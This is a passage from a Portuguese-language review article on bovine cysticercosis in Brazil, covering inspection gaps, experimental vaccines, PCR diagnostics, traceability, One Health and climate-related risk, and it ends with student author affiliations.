<p class="wp-block-paragraph">Estudos analisados por Dettman <em>et al.</em> (2022) apontam que abatedouros sob inspeção estadual ou municipal apresentam taxas de detecção inferiores às do Serviço de Inspeção Federal (SIF), em parte pela limitação técnica e pela frequência irregular das fiscalizações. Concomitantemente, o alto índice de abate clandestino em regiões com pouca infraestrutura agrava a subnotificação e facilita a entrada de carne contaminada no mercado, devido à escassez&nbsp;de controle higiênico-sanitário.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A informalidade produtiva, combinada à baixa escolaridade e à falta de assistência técnica, reduz a adesão a medidas preventivas e a efetividade das campanhas educativas. Além do mais, algumas práticas culturais e a ineficácia ou ausência de redes de saneamento básico em propriedades rurais contribuem para a contaminação ambiental, como já demonstrado em&nbsp;estudos realizados no Brasil e na Itália (Silva; Oliveira, 2023; Rubiola <em>et al</em>., 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além disso, a fragmentação das ações de vigilância e a ausência de sistemas integrados de informação dificultam o compartilhamento de dados entre estados e municípios. Essa descentralização compromete o planejamento territorial e a tomada de decisões baseadas em evidências, como explicitado até mesmo em experiências internacionais (Acevedo-Nieto <em>et al</em>., 2022; Mohamed <em>et al</em>., 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A inspeção <em>post mortem</em>, baseada em triagem visual, também apresenta limitações técnicas importantes. A sensibilidade reduzida em casos leves e a ausência de métodos complementares tornam a triagem ineficaz como método único de controle. Ainda que haja medidas pontuais, alguns modelos de simulação indicam que, se não houver intervenções estruturais coordenadas, a taxa de transmissão da <em>Taenia saginata</em> pode continuar acima do&nbsp;limiar de controle (Mwasunda <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para superar esses obstáculos, é importante que ações sejam realizadas de forma a envolver diferentes áreas articuladamente. Isso inclui fortalecer os serviços estaduais e municipais de inspeção, combater o abate informal de animais, ampliar o acesso ao saneamento básico e criar sistemas de notificação padronizados. Essas medidas são essenciais para que a vigilância sanitária se torne uma ferramenta realmente eficiente da saúde pública e no controle de doenças.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>6. </strong><strong>Inovações e Avanços Científicos </strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.1 Desenvolvimento de Vacinas: Cenário Atual </strong>&nbsp;</p>



<p class="wp-block-paragraph">A vacinação de bovinos contra o <em>Cysticercus bovis</em> tem se mostrado uma alternativa inovadora e estratégica para o controle da cisticercose, especialmente em regiões onde as medidas sanitárias não têm tido tanto sucesso. No Brasil, pesquisas coordenadas pela Embrapa (2023), em parceria com universidades federais, estão avançando no desenvolvimento de vacinas recombinantes, que utilizam antígenos como TSA-9 e TSA-18. Essas vacinas têm como&nbsp;objetivo impedir que os cisticercos se desenvolvam e permaneçam viáveis nos tecidos bovinos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Apesar do progresso dessa tecnologia, ela ainda enfrenta alguns obstáculos, como questões regulatórias, desafios técnicos e dificuldades na produção. A falta de uma regulamentação específica, a necessidade de realizar testes em diferentes biomas e a ausência de orientações claras para integrar a vacina ao sistema oficial de controle dificultam sua adoção em grande escala. Além disso, é preciso investir na capacitação de médicos-veterinários e profissionais de campo, e também há resistência por parte dos pecuaristas, especialmente os que trabalham em pequenas propriedades, que muitas vezes não veem a cisticercose como uma&nbsp;prioridade para a saúde ou a economia da fazenda<strong> </strong>(Araújo <em>et al</em>., 2023).<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph">Apesar das limitações, os benefícios da vacinação são bastante relevantes: ela pode ajudar a diminuir a presença da doença, reduzir a condenação de carcaças, aumentar a confiança&nbsp;na segurança sanitária da carne brasileira e melhorar a imagem do país no mercado internacional. A vacinação também pode ser uma estratégia importante para fortalecer a sanidade na exportação de produtos agropecuários, especialmente se for direcionada às regiões&nbsp;mais vulneráveis.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Por outro lado, a inexistência de um programa oficial de vacinação contra a cisticercose, diferente de outras doenças de importância na área zootécnica que já fazem parte do calendário nacional, mostra a necessidade de uma política pública mais integrada. Essa política deve contar com a colaboração de órgãos públicos, setor privado e universidades. Adotar uma abordagem baseada na Saúde Única ajuda a promover uma estratégia mais justa e equilibrada, que une&nbsp;melhorias sanitárias com justiça social.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para que a vacinação seja realmente eficaz na prevenção, é importante que haja ações bem coordenadas, regras claras e incentivos para pesquisas que desenvolvam soluções adequadas à realidade da pecuária no Brasil. Nesse cenário, a inovação tecnológica e a vigilância epidemiológica formam a base fundamental para um controle sustentável da&nbsp;cisticercose bovina.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.2 Novas Ferramentas Diagnósticas: Biologia Molecular e PCR </strong>&nbsp;</p>



<p class="wp-block-paragraph">A inspeção visual pós-morte tem uma sensibilidade bastante baixa, especialmente em casos de infecções leves por <em>Cysticercus bovis</em>, com uma taxa de detecção inferior a 16%. Por isso, tem sido cada vez mais comum usar métodos de diagnóstico mais precisos, como a Reação em Cadeia da Polimerase (PCR). Essa técnica molecular consegue identificar o DNA de <em>Taenia saginata</em> nos músculos com alta precisão, mesmo quando a inspeção visual não mostra alterações evidentes. Além de ser uma alternativa eficiente à inspeção tradicional, a PCR é muito útil na vigilância epidemiológica e no monitoramento da saúde em regiões onde a doença é comum. Ela também permite distinguir entre diferentes espécies do gênero <em>Taenia</em>, como <em>T. saginata, T. solium </em>e<em>T. asiatica</em>, o que é fundamental para um diagnóstico correto e para orientar&nbsp;as ações de controle (Figueiredo <em>et al</em>., 2019).<strong>&nbsp; </strong>&nbsp;</p>



<p class="wp-block-paragraph">Embora a PCR seja uma técnica muito sensível, usá-la de forma rotineira ainda apresenta alguns obstáculos, tanto operacionais quanto financeiros. Para realizar esse teste, é preciso ter laboratórios bem equipados, profissionais treinados e insumos que podem ser caros. Por isso, sua implementação pode ser mais difícil em frigoríficos menores ou em unidades sob&nbsp;fiscalização estadual e municipal.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para que essas tecnologias possam avançar além do ambiente de pesquisa, é importante investir em políticas públicas que incentivem a inovação. Além disso, é fundamental integrar os protocolos moleculares ao sistema oficial de controle e promover parcerias entre os setores público e privado, e as universidades. A combinação de dados moleculares, informações geográficas e resultados de inspeções tradicionais pode abrir caminho para uma nova geração de estratégias de combate à cisticercose, alinhadas com os princípios da Saúde Única e a vigilância epidemiológica inteligente.<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.3 Tecnologias Aplicadas à Rastreabilidade e Monitoramento </strong>&nbsp;</p>



<p class="wp-block-paragraph">A rastreabilidade de animais que testam positivo tem sido considerada uma das estratégias mais eficazes para controlar a cisticercose bovina. De acordo com Dettmann <em>et al</em>. (2022), essa medida deve ser combinada com ações de educação sanitária, inspeção rigorosa da carne e melhorias no saneamento básico, formando um conjunto de iniciativas que visam diminuir a ocorrência da doença na cadeia produtiva. Além disso, o novo Regulamento de Inspeção Industrial e Sanitária de Produtos de Origem Animal (RIISPOA) passou a permitir o uso de sistemas informatizados para monitorar e registrar os dados dos programas de&nbsp;autocontrole, o que ajuda a modernizar as agroindústrias e aumenta o controle sanitário (Brasil, 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Gomes, Avelar e Martins (2023) ressaltam também a importância do uso de Sistemas de Informação Geográfica (SIG) para identificar áreas de risco, levando em consideração fatores ambientais e estruturais. Para complementar essa ideia, Duarte <em>et al</em>. (2022) sugerem modelos que analisam a relação entre a presença da doença, a proximidade de rios, lagos ou outros corpos d’água, e o uso de pastagens compartilhadas, principalmente em áreas de agricultura familiar. Além disso, a Embrapa destaca que o combate eficaz à cisticercose depende do envolvimento de todas as etapas da cadeia de produção, sendo necessário um esforço coordenado e constante&nbsp;para alcançar bons resultados (Araújo <em>et al</em>., 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para superar esses obstáculos, é importante implementar políticas públicas que incentivem a inovação no campo e promovam a inclusão digital. Além disso, é fundamental estabelecer parcerias entre universidades, órgãos de financiamento, serviços veterinários e instituições financeiras. A criação de um sistema sanitário moderno e regionalizado depende da integração de dados geográficos, ambientais e oficiais, o que é essencial para garantir um controle da cisticercose bovina no Brasil que seja sustentável, justo e eficiente do ponto de vista&nbsp;técnico.<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>7. </strong><strong>Cisticercose Bovina no Contexto da Saúde Única </strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>7.1 Intersetorialidade entre Saúde Humana, Animal e Ambiental </strong>&nbsp;</p>



<p class="wp-block-paragraph">A abordagem de Saúde Única, ou One Health, tem se tornado uma estratégia central no combate às zoonoses negligenciadas, como a cisticercose bovina. Essa ideia reconhece que os problemas de saúde surgem da interação entre seres humanos, animais e o meio ambiente, e por&nbsp;isso é importante que as ações sejam integradas e multidisciplinares<strong> </strong>(Oliveira <em>et al</em>., 2024).<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph">A cisticercose bovina mostra bem essa relação: os humanos eliminam ovos da <em>Taenia saginata</em> no ambiente, os bovinos acabam ingerindo esses ovos ao se alimentarem em áreas contaminadas, e fatores ambientais – como a falta de saneamento básico, a utilização de água de superfície e o descarte inadequado de resíduos – favorecem a manutenção do ciclo da doença<strong>&nbsp;</strong>(Araújo <em>et al</em>., 2023).<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph">Diante disso, a intersetorialidade torna-se essencial para interromper a transmissão. A articulação entre setores permite unir ações como educação sanitária, fiscalização de abates ilegais, capacitação dos produtores e monitoramento do meio ambiente. Experiências em municípios do Espírito Santo e de Minas Gerais mostram que a atuação integrada de órgãos de&nbsp;saúde, meio ambiente e agricultura torna as políticas públicas mais eficazes (Pinto <em>et al</em>., 2019).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Segundo Oliveira <em>et al</em>. (2024), a teníase-cisticercose deve ser encarada como uma zoonose cuja base é social, prevalente em áreas onde há ausência ou ineficácia sanitária. Essa realidade exige uma abordagem que leve em conta as características de cada região, indo além de ações apenas biomédicas. É importante destacar que a fragmentação institucional e a&nbsp;ausência de coordenação entre os órgãos dificultam o sucesso das intervenções.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para que a Saúde Única se torne uma realidade, é importante transformá-la em ações significativas e concretas. Isso significa que a vigilância epidemiológica deve levar em conta as áreas mais vulneráveis, a inspeção sanitária precisa estar alinhada com a realidade do abate informal, e a saúde ambiental deve atuar no saneamento, no uso da água e na gestão de resíduos. Para isso, é fundamental ter uma governança compartilhada, usar dados integrados e criar&nbsp;políticas que promovam a justiça sanitária.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Somente assim será possível superar as vulnerabilidades que mantêm a cisticercose bovina como um símbolo das desigualdades e estabelecer um modelo de controle que seja&nbsp;efetivo, sustentável e justo para toda a sociedade.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>7.2 Papel das Instituições de Pesquisa e Extensão Rural </strong>&nbsp;</p>



<p class="wp-block-paragraph">Instituições de ensino, pesquisa e extensão rural desempenham papel estratégico na formulação e aplicação de soluções para o controle da cisticercose bovina, especialmente em regiões com baixa capacidade técnica e alta informalidade produtiva. A Embrapa, em parceria com universidades e centros regionais, lidera esforços no desenvolvimento de vacinas, testes&nbsp;diagnósticos e estratégias integradas voltadas à realidade da pecuária nacional.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além da geração de conhecimento, essas instituições são fundamentais na transferência de tecnologias e boas práticas sanitárias aos territórios rurais. Serviços estaduais de extensão atuam como ponte entre ciência e campo, podendo oferecer oficinas, treinamentos e assistência técnica para manejo sanitário, descarte de resíduos e biossegurança.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A vulnerabilidade sanitária em comunidades rurais, especialmente aquelas com infraestrutura precária, baixa renda e exclusão social, mostra como é importante investir em ações educativas e de diferentes setores para prevenir a cisticercose bovina. De acordo com Pinto <em>et al</em>. (2019), nessas regiões é fundamental aumentar os investimentos em educação sobre higiene e melhorar as condições de criação de animais. Da mesma forma, Acevedo-Nieto <em>et al</em>. (2022) ressaltam a importância de políticas públicas integradas entre os setores de saúde humana, saúde animal e meio ambiente, com estratégias que levem em conta as particularidades&nbsp;de cada comunidade.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Outro eixo importante é a formação de profissionais qualificados em medicina&nbsp;veterinária preventiva, saúde pública e Saúde Única. Equipes técnicas multidisciplinares, que tenham conhecimento profundo em epidemiologia e sensibilidade social, são determinantes&nbsp;para colocar em prática ações integradas (Rubiola <em>et al</em>., 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa aplicada também deve focar em soluções que possam ser reproduzidas facilmente e com baixo custo, adaptadas aos diferentes contextos produtivos. Isso é extremamente relevante para garantir que as inovações científicas estejam alinhadas às condições socioeconômicas e ambientais das regiões endêmicas. Além disso, essas instituições&nbsp;podem estimular o uso de tecnologias digitais, como rastreabilidade eletrônica e georreferenciamento, auxiliando os pequenos produtores a atenderem aos padrões sanitários&nbsp;exigidos pelos mercados atuais (Rossi; Van Damme; Gabriël, 2020).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">É muito importante fortalecer as instituições que atuam na pesquisa e na extensão rural, pois isso ajuda a transformar o conhecimento em ações concretas. Essas instituições têm um papel fundamental ao conectar a ciência, as políticas públicas e o trabalho no campo. Assim, elas podem contribuir de maneira decisiva para o controle sustentável da cisticercose bovina,&nbsp;beneficiando a saúde pública, garantindo a segurança alimentar e fortalecendo a&nbsp;competitividade da agropecuária brasileira.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>7.3 Educação Sanitária e Prevenção no Meio Rural </strong>&nbsp;</p>



<p class="wp-block-paragraph">A educação sanitária é uma das bases fundamentais na prevenção e no controle da cisticercose bovina. Pesquisas indicam que a baixa escolaridade e o desconhecimento sobre o ciclo da <em>Taenia saginata</em> dificultam a adoção de hábitos higiênicos e alimentares adequados nas comunidades rurais (Silva; Oliveira, 2023). Em áreas endêmicas, mais de 75% dos entrevistados não conheciam a enfermidade e cerca de 18% consumiam carne malcozida, o que mantém o&nbsp;ciclo parasitário ativo (Pinto <em>et al</em>., 2019).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Teixeira, Fonseca e Pinto (2024) mencionam que as campanhas educativas devem explicar de forma acessível temas como cozinhar carne adequadamente, usar banheiros, descartar corretamente os dejetos e a importância de abater os animais em locais devidamente inspecionados. A eficácia dessas ações aumenta quando são conduzidas de forma contínua,&nbsp;usando linguagem acessível e inseridas no dia a dia das comunidades.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesses contextos, a educação sanitária deve ser vista como uma estratégia participativa de transformação, e não apenas como uma simples transmissão de informações técnicas. É&nbsp;importante envolver as lideranças locais, valorizar os saberes comunitários e integrar diferentes setores, como saúde, agricultura e extensão rural. Ademais, o sucesso das ações para combater a cisticercose bovina depende de estabelecer um diálogo aberto com as comunidades, levando em consideração suas realidades e incentivando a participação delas no controle da zoonose.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Sem esse envolvimento, mesmo as melhores tecnologias terão um impacto limitado.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>8. </strong><strong>Desafios Contemporâneos e Perspectivas Futuras </strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>8.1 Implementação em Larga Escala de Vacinas e Biossegurança </strong>&nbsp;</p>



<p class="wp-block-paragraph">Embora os avanços científicos no desenvolvimento de vacinas contra <em>Cysticercus bovis</em> sejam promissores, ainda existem muitos desafios para que possam ser implementadas em larga escala no Brasil. Até o momento, nenhuma formulação está licenciada para venda comercial, embora a Embrapa esteja liderando pesquisas com antígenos recombinantes que têm&nbsp;demonstrado bons resultados em laboratório (Araújo <em>et al</em>., 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os obstáculos para implementação de uma vacina eficaz contra <em>Cysticercus bovis</em> vão além das questões regulatórias. Segundo Araújo <em>et al</em>. (2023), o sucesso dessa iniciativa depende do desenvolvimento de tecnologias que se ajustem à realidade da cadeia produtiva e do envolvimento articulado do Estado em diferentes áreas – saúde animal, saúde humana e meio ambiente – além de apoio à educação sanitária e melhorias na infraestrutura. A ausência de um sistema logístico bem estruturado e a capacidade limitada de operação dos pequenos produtores&nbsp;dificultam bastante a adoção da imunização em larga escala.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para que essa estratégia seja viável, é importante elaborar um plano bem coordenado, que envolva a distribuição da vacina em regiões de risco, integração da vacinação aos programas de rastreabilidade e certificação sanitária, além de campanhas educativas que incentivem a participação voluntária. Também é fundamental capacitar veterinários e agentes de extensão&nbsp;para garantir a aplicação correta da vacina e o acompanhamento dos resultados.<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph">Paralelamente, é fundamental reforçar a adoção de medidas de biossegurança nas&nbsp;propriedades rurais. Isso inclui proteger fontes hídricas, usar cercas sanitárias, fazer o manejo adequado dos dejetos humanos e limitar o acesso de animais e pessoas às áreas de alimentação (Panziera <em>et al</em>., 2017). Essas práticas, embora simples, ainda têm baixa difusão entre pequenos&nbsp;produtores, em parte devido à falta de assistência técnica e à escassez de recursos (AcevedoNieto <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Evidências de campo e estudos internacionais demonstram que a vacinação isolada não basta. Na Etiópia, por exemplo, a vacinação só teve impacto realmente positivo quando foi acompanhada de ações educativas, melhorias sanitárias e suporte técnico contínuo (Mohamed <em>et</em> <em>al</em>., 2021). O mesmo acontece em várias regiões brasileiras, onde a efetividade das intervenções depende da combinação de tecnologia, capacitação dos produtores e melhorias na&nbsp;infraestrutura (Dettmann <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, o sucesso de uma futura campanha contra a cisticercose bovina depende de uma abordagem integrada, que envolva diferentes setores, como políticas públicas, pesquisa científica, extensão rural e o engajamento dos produtores. A criação de um programa nacional de imunização, baseado nos princípios da Saúde Única, seria um passo importante para interromper o ciclo da <em>T. saginata</em>, diminuir as perdas econômicas e fortalecer a credibilidade sanitária da carne brasileira.<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>8.2 Integração de Tecnologias Emergentes ao Controle Epidemiológico </strong>&nbsp;</p>



<p class="wp-block-paragraph">A incorporação de tecnologias digitais e inteligência territorial oferece uma oportunidade estratégica para melhorar o monitoramento da cisticercose bovina. Ferramentas como sistemas de geoprocessamento, análise espacial e inteligência artificial (IA) têm sido testadas em projetos acadêmicos e pilotos, mostrando resultados encorajadores na previsão de áreas de risco e na utilização mais eficiente dos recursos de inspeção e controle (Gomes; Avelar; Martins, 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">No Espírito Santo, o uso de Sistemas de Informação Geográfica (SIG) ajudou a criar mapas de risco baseados em fatores como saneamento, densidade de bovinos e condições hidrológicas. Essa análise revelou que alguns municípios possuem mais de 50% de seu território classificado como de risco muito alto para a cisticercose, evidenciando como o diagnóstico espacial pode ser fundamental na priorização das ações de controle (Gomes; Avelar; Martins, 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A inteligência artificial também tem mostrado grande potencial para automatizar a inspeção <em>post mortem</em>, tornando as avaliações mais padronizadas, menos subjetivas e&nbsp;permitindo a detecção precoce (Teixeira; Fonseca; Pinto, 2024). Já estudos internacionais, como os realizados na Etiópia, indicam que modelos estatísticos usando dados ambientais e populacionais podem onde e quando a cisticercose acontece, otimizando o planejamento das intervenções sanitárias (Mohamed <em>et al</em>., 2021). Essas estratégias têm potencial para aplicação&nbsp;no contexto brasileiro, especialmente em regiões com histórico de subnotificação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">No entanto, apesar dos avanços, a implementação dessas tecnologias ainda encontra obstáculos estruturais. A falta de conexão de internet nas áreas rurais, o baixo nível de informatização das propriedades e a ausência de capacitação técnica dificultam sua disseminação além do meio acadêmico. Para integrar essas soluções às políticas nacionais de saúde, como sanidade e rastreabilidade, é necessário investimento público, incentivo à inovação&nbsp;prática e parcerias entre governo, setor produtivo e universidades.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Usar tecnologias emergentes no combate à cisticercose não é apenas uma inovação&nbsp;operacional, mas uma estratégia concreta para fortalecer a vigilância, antecipar possíveis surtos e diminuir as desigualdades na saúde. Para que isso aconteça de verdade, é fundamental promover uma união entre ciência, gestão pública e os produtores rurais, criando um sistema de monitoramento mais inteligente, regionalizado e preventivo.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>8.3 Mudanças Climáticas e Expansão de Zonas de Risco </strong>&nbsp;</p>



<p class="wp-block-paragraph">As mudanças no regime de água em várias regiões do Brasil têm criado condições que facilitam a disseminação dos ovos de <em>Taenia saginata</em>. Isso pode levar a um aumento nos casos de cisticercose bovina, até mesmo em áreas que antes eram consideradas de baixo risco. Os ovos desse parasita permanecem bastante viáveis no ambiente, e durante períodos de fortes chuvas, eles podem se espalhar facilmente por pastagens, rios e reservatórios de água. Nesses momentos, até propriedades que seguem medidas básicas de higiene podem ser afetadas, especialmente quando os bovinos têm acesso livre a áreas alagadas, lagos temporários ou fontes de água não tratada. Essa situação é comum em regiões onde o tratamento de água não é adequado ou o manejo dos recursos hídricos não é bem feito (Araújo <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além das questões ambientais, as mudanças climáticas também afetam a resiliência socioeconômica dos pequenos produtores, tornando mais difícil lidar com a cisticercose bovina. A degradação das pastagens, a falta de água e o deslocamento dos rebanhos aumentam o contato&nbsp;com ambientes contaminados, dificultando a implementação de práticas básicas de&nbsp;biossegurança, como o manejo adequado dos resíduos humanos e o controle de acesso às fontes de água (Acevedo-Nieto <em>et al</em>., 2022; Araújo <em>et al</em>., 2023). Diante dessa situação, é fundamental que os sistemas de vigilância territorial e epidemiológica levem em conta fatores climáticos e&nbsp;ambientais. Estudos usando tecnologias de geoprocessamento mostram que é possível identificar áreas com risco crescente, o que permite realizar ações preventivas antes que&nbsp;ocorram surtos (Gomes; Avelar; Martins, 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesse cenário, é fundamental integrar de forma urgente as políticas de clima, saúde pública e sanidade animal. A adaptação às mudanças climáticas deve envolver uma vigilância epidemiológica flexível, um planejamento territorial baseado em riscos e o fortalecimento das capacidades locais de resposta. Essa integração é essencial para diminuir desigualdades e evitar que doenças como a cisticercose se espalhem ainda mais em um cenário climático cada vez&nbsp;mais instável.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>8.4 Cooperação Internacional e Governança em Saúde Pública Veterinária </strong>&nbsp;</p>



<p class="wp-block-paragraph">Para controlar a cisticercose bovina de forma eficaz, é importante que haja uma gestão sanitária mais sólida, com uma boa articulação entre as políticas do país e os compromissos internacionais. Organizações como a Organização Mundial de Saúde Animal (WOAH) e a FAO, em parceria com a Organização Mundial da Saúde (OMS), vêm criando orientações específicas para combater zoonoses negligenciadas, incluindo a teníase e a cisticercose (FAO/WHO, 2013; WOAH, 2021). No entanto, como apontam Gomes, Avelar e Martins (2023), na prática, essas recomendações ainda têm uma aplicação limitada em vários países da América Latina, inclusive&nbsp;no Brasil, onde ainda existem dificuldades estruturais nos sistemas de vigilância e controle.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Entre as ações sugeridas por essas organizações estão a padronização dos processos de inspeção, a obrigatoriedade de notificação de casos, o fortalecimento das redes laboratoriais, a rastreabilidade dos rebanhos e a capacitação contínua dos profissionais de saúde pública e veterinária (FAO/WHO, 2013; WOAH, 2021). Além disso, programas de cooperação técnica podem ajudar países em desenvolvimento a terem acesso a novas tecnologias, como testes de&nbsp;PCR e vacinas recombinantes. Isso acontece por meio de ações de transferência de tecnologia e treinamento de instituições, com o apoio de universidades e centros de pesquisa (FAO/WHO, 2013; Gomes; Avelar; Martins, 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Como maior exportador mundial de carne bovina, o Brasil não só tem a responsabilidade de garantir a sanidade de seus produtos, mas também tem o potencial de liderar iniciativas na região. Participar ativamente na definição de normas, na avaliação de riscos conjunta e na formação de consórcios técnicos com países vizinhos pode fortalecer sua reputação sanitária e&nbsp;expandir sua influência internacional.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A experiência adquirida no controle de outras zoonoses, como brucelose e tuberculose, mostra que ações coordenadas entre países sul-americanos são possíveis e bastante eficazes. Fortalecer a vigilância epidemiológica nas áreas de fronteira agrícola é uma estratégia importante para impedir a disseminação da cisticercose e manter padrões sanitários consistentes&nbsp;na região.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesse cenário, a colaboração internacional, que envolve troca de conhecimentos&nbsp;técnicos, alinhamento das regras e apoio mútuo entre instituições, deve ser vista como uma parte&nbsp;fundamental do controle da cisticercose bovina. Ter uma governança multilateral bem estruturada é essencial para enfrentarmos a doença de maneira integrada, sustentável e que realmente beneficie a saúde pública e a segurança alimentar em todo o mundo.<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>9. </strong><strong>Discussão </strong>&nbsp;</p>



<p class="wp-block-paragraph">A cisticercose bovina ainda é uma zoonose que recebe pouca atenção, mesmo causando impactos importantes na saúde pública, na segurança dos alimentos e na economia da pecuária no Brasil. Este estudo mostrou que, mesmo com normas sanitárias e inspeções formais, a doença continua bastante presente em várias regiões, especialmente onde há saneamento precário,&nbsp;muitos abates feitos de forma informal e serviços de assistência técnica frágeis.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Foi observado que a inspeção visual após a morte, que é o principal método utilizado nos frigoríficos atualmente, tem uma sensibilidade limitada. Isso significa que muitas vezes as ocorrências da doença não são identificadas corretamente, dificultando o entendimento real de como ela circula. A presença de cisticercos vivos ou calcificados nas carcaças indica que há circulação da teníase humana em áreas vulneráveis, revelando problemas na estrutura dos&nbsp;sistemas de vigilância, na infraestrutura sanitária rural e na eficiência das ações de prevenção.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A abordagem conhecida como Saúde Única, que envolve diferentes setores, tem se mostrado essencial para compreender e controlar a cisticercose de forma mais completa. É importante que haja uma integração entre a saúde animal, a saúde humana e o meio ambiente, especialmente em regiões onde há dificuldades sanitárias e atividades produtivas informais. Essa união é fundamental para interromper o ciclo do parasita. Os dados indicam que medidas isoladas, como apenas reforçar a inspeção ou exigir tratamentos tecnológicos nas carcaças contaminadas, não são suficientes para resolver o problema, devido à complexidade dos fatores&nbsp;sociais e ambientais envolvidos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Alguns avanços promissores foram alcançados, principalmente na área de ciência e inovação. Um exemplo é a vacina experimental desenvolvida pela Embrapa, que usa antígenos recombinantes (TSA-9 e TSA-18), e surge como uma alternativa eficaz para proteger os bovinos. Para que essa vacina possa ser usada em grande escala, é necessário criar&nbsp;regulamentações específicas, montar uma estrutura logística adequada e envolver os produtores. Ao mesmo tempo, ferramentas de diagnóstico como a PCR e plataformas digitais de&nbsp;rastreamento ajudam a identificar e controlar problemas com mais eficiência, mas ainda são&nbsp;pouco acessíveis fora de centros de pesquisa ou frigoríficos com maior estrutura técnica.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para que as políticas públicas tenham mais efeito, é importante incluir a vacinação nos programas oficiais de sanidade animal, oferecendo incentivos e apoio técnico, especialmente para pequenas propriedades e fazendas familiares. Além disso, recomenda-se usar métodos diagnósticos complementares durante as inspeções, fortalecer a vigilância nas áreas rurais com&nbsp;o uso de dados geoespaciais e realizar campanhas educativas contínuas nessas regiões.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Na área da ciência, ainda há algumas questões importantes que precisam ser&nbsp;esclarecidas. É necessário realizar estudos de campo para confirmar se as vacinas são eficazes em diferentes regiões e condições de produção. Além disso, é fundamental fazer análises econômicas para avaliar se os benefícios de novas tecnologias valem os custos, especialmente quando comparados aos métodos tradicionais. Criar plataformas de dados integradas, que conectem informações sobre saúde, meio ambiente e economia, também é essencial para tornar&nbsp;as intervenções mais eficientes e bem planejadas.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Outro ponto importante é entender como os produtores se comportam e se envolvem nas práticas preventivas, identificando possíveis obstáculos culturais, técnicos ou financeiros que possam dificultar o sucesso dessas ações. A presença contínua da cisticercose bovina em várias regiões do Brasil mostra que esse é um problema complicado, que está ligado às desigualdades&nbsp;sociais e à falta de uma gestão sanitária mais integrada e eficiente.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para enfrentar essa questão, não basta apenas usar tecnologia. É importante também que haja uma boa coordenação entre as instituições, investimentos em ciência prática e o envolvimento das comunidades rurais nas ações de prevenção. Assim, será possível reduzir os casos da doença, proteger a saúde de todos e manter a competitividade da pecuária brasileira no mercado internacional.<strong>&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Referências Bibliográficas </strong>&nbsp;</p>



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<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">¹Graduando em Medicina Veterinária, Faculdade UNA – Santa Cruz. E-mail: gustavo.kbe@hotmail.com;<br>²Graduanda em Medicina Veterinária, Faculdade UNA – Santa Cruz. E-mail: anna.karolina.ferreira02@gmail.com;<br>³Graduando em Medicina Veterinária, Faculdade UNA – Santa Cruz. E-mail: diogenesfrancisco@hotmail.com;<br>⁴Graduanda em Medicina Veterinária, Faculdade UNA – Santa Cruz. E-mail: jb469903@gmail.com</p>
